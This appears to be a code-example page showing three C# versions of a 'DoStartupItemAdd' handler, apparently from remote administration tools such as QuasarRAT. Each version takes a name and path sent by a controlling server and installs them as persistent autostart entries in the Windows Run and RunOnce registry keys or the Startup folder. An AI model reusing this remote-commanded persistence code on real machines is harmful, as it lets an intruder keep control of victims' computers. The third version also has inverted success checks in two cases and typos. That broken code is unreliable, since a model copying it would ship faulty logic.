コード例 #1
0
        public static void HandleDoStartupItemAdd(DoStartupItemAdd command, Client client)
        {
            // Kesin yöntem bulana kadar try
            try
            {
                switch (command.Type)
                {
                case 0:
                    if (!RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.LocalMachine,
                                                               "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", command.Name, command.Path, true))
                    {
                        throw new Exception("Değer Eklenemedi");
                    }
                    break;

                case 1:
                    if (!RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.LocalMachine,
                                                               "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce", command.Name, command.Path, true))
                    {
                        throw new Exception("Değer Eklenemedi");
                    }
                    break;

                case 2:
                    if (!RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.CurrentUser,
                                                               "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", command.Name, command.Path, true))
                    {
                        throw new Exception("Değer Eklenemedi");
                    }
                    break;

                case 3:
                    if (!RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.CurrentUser,
                                                               "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce", command.Name, command.Path, true))
                    {
                        throw new Exception("Değer Eklenemedi");
                    }
                    break;

                case 4:
                    if (!PlatformYardımcısı.A64Bitmi)
                    {
                        throw new NotSupportedException(
                                  "Bu İşlem Sadece 64 Bit İşletim Sistemlerinde Destekleniyor.");
                    }

                    if (!RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.LocalMachine,
                                                               "SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Run", command.Name, command.Path,
                                                               true))
                    {
                        throw new Exception("Değer Eklenemedi");
                    }
                    break;

                case 5:
                    if (!PlatformYardımcısı.A64Bitmi)
                    {
                        throw new NotSupportedException(
                                  "Bu İşlem Sadece 64 Bit İşletim Sistemlerinde Destekleniyor.");
                    }

                    if (!RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.LocalMachine,
                                                               "SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\RunOnce", command.Name,
                                                               command.Path, true))
                    {
                        throw new Exception("Değer Eklenemedi");
                    }
                    break;

                case 6:
                    if (!Directory.Exists(Environment.GetFolderPath(Environment.SpecialFolder.Startup)))
                    {
                        Directory.CreateDirectory(Environment.GetFolderPath(Environment.SpecialFolder.Startup));
                    }

                    string lnkPath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Startup),
                                                  command.Name + ".url");

                    using (var writer = new StreamWriter(lnkPath, false))
                    {
                        writer.WriteLine("[InternetShortcut]");
                        writer.WriteLine("URL=file:///" + command.Path);
                        writer.WriteLine("IconIndex=0");
                        writer.WriteLine("IconFile=" + command.Path.Replace('\\', '/'));
                        writer.Flush();
                    }
                    break;
                }
            }
            catch (Exception ex)
            {
                new SetStatus(string.Format("Oto-Başlangıç Öğesi Ekleme Başarısız: {0}", ex.Message)).Execute(client);
            }
        }
コード例 #2
0
        private void Execute(ISender client, DoStartupItemAdd message)
        {
            try
            {
                switch (message.StartupItem.Type)
                {
                case StartupType.LocalMachineRun:
                    if (!RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.LocalMachine,
                                                               "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", message.StartupItem.Name, message.StartupItem.Path, true))
                    {
                        throw new Exception("Could not add value");
                    }
                    break;

                case StartupType.LocalMachineRunOnce:
                    if (!RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.LocalMachine,
                                                               "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce", message.StartupItem.Name, message.StartupItem.Path, true))
                    {
                        throw new Exception("Could not add value");
                    }
                    break;

                case StartupType.CurrentUserRun:
                    if (!RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.CurrentUser,
                                                               "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", message.StartupItem.Name, message.StartupItem.Path, true))
                    {
                        throw new Exception("Could not add value");
                    }
                    break;

                case StartupType.CurrentUserRunOnce:
                    if (!RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.CurrentUser,
                                                               "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce", message.StartupItem.Name, message.StartupItem.Path, true))
                    {
                        throw new Exception("Could not add value");
                    }
                    break;

                case StartupType.LocalMachineWoW64Run:
                    if (!PlatformHelper.Is64Bit)
                    {
                        throw new NotSupportedException("Only on 64-bit systems supported");
                    }

                    if (!RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.LocalMachine,
                                                               "SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Run", message.StartupItem.Name, message.StartupItem.Path, true))
                    {
                        throw new Exception("Could not add value");
                    }
                    break;

                case StartupType.LocalMachineWoW64RunOnce:
                    if (!PlatformHelper.Is64Bit)
                    {
                        throw new NotSupportedException("Only on 64-bit systems supported");
                    }

                    if (!RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.LocalMachine,
                                                               "SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\RunOnce", message.StartupItem.Name, message.StartupItem.Path, true))
                    {
                        throw new Exception("Could not add value");
                    }
                    break;

                case StartupType.StartMenu:
                    if (!Directory.Exists(Environment.GetFolderPath(Environment.SpecialFolder.Startup)))
                    {
                        Directory.CreateDirectory(Environment.GetFolderPath(Environment.SpecialFolder.Startup));
                    }

                    string lnkPath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Startup),
                                                  message.StartupItem.Name + ".url");

                    using (var writer = new StreamWriter(lnkPath, false))
                    {
                        writer.WriteLine("[InternetShortcut]");
                        writer.WriteLine("URL=file:///" + message.StartupItem.Path);
                        writer.WriteLine("IconIndex=0");
                        writer.WriteLine("IconFile=" + message.StartupItem.Path.Replace('\\', '/'));
                        writer.Flush();
                    }
                    break;
                }
            }
            catch (Exception ex)
            {
                client.Send(new SetStatus {
                    Message = $"Adding Autostart Item failed: {ex.Message}"
                });
            }
        }
コード例 #3
0
        public static void doStartupItemAdd(DoStartupItemAdd packet, ClientMosaic client)
        {
            try
            {
                switch (packet.type)
                {
                case 0:
                    if (!addRegistryKeyValue(RegistryHive.LocalMachine, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", packet.name, packet.path, true))
                    {
                        throw new Exception("Coul not add value");
                    }
                    break;

                case 1:
                    if (!addRegistryKeyValue(RegistryHive.LocalMachine, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce", packet.name, packet.path, true))
                    {
                        throw new Exception("Coul not add value");
                    }
                    break;

                case 2:
                    if (!addRegistryKeyValue(RegistryHive.CurrentUser, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", packet.name, packet.path, true))
                    {
                        throw new Exception("Coul not add value");
                    }
                    break;

                case 3:
                    if (!addRegistryKeyValue(RegistryHive.CurrentUser, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce", packet.name, packet.path, true))
                    {
                        throw new Exception("Coul not add value");
                    }
                    break;

                case 4:
                    if (!is64Bit)
                    {
                        throw new NotSupportedException("Only on 64-bit systems supported");
                    }

                    if (addRegistryKeyValue(RegistryHive.LocalMachine, "SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Run", packet.name, packet.path, true))
                    {
                        throw new Exception("Coul not add value");
                    }
                    break;

                case 5:
                    if (!is64Bit)
                    {
                        throw new NotSupportedException("Only on 64-bit systems supported");
                    }

                    if (addRegistryKeyValue(RegistryHive.LocalMachine, "SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\RunOnce", packet.name, packet.path, true))
                    {
                        throw new Exception("Coul not add value");
                    }
                    break;

                case 6:
                    if (!Directory.Exists(Environment.GetFolderPath(Environment.SpecialFolder.Startup)))
                    {
                        Directory.CreateDirectory(Environment.GetFolderPath(Environment.SpecialFolder.Startup));
                    }

                    string lnkPath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Startup),
                                                  packet.name + ".url");

                    using (var writer = new StreamWriter(lnkPath, false))
                    {
                        writer.WriteLine("[InternetShortcut]");
                        writer.WriteLine("URL=file:///" + packet.path);
                        writer.WriteLine("IconIndex=0");
                        writer.WriteLine("IconFile=" + packet.path.Replace('\\', '/'));
                        writer.Flush();
                    }
                    break;
                }
            }
            catch (Exception ex)
            {
                new SetStatus(string.Format("Adding Autostart Item failed: {0}", ex.Message)).Execute(client);
            }
        }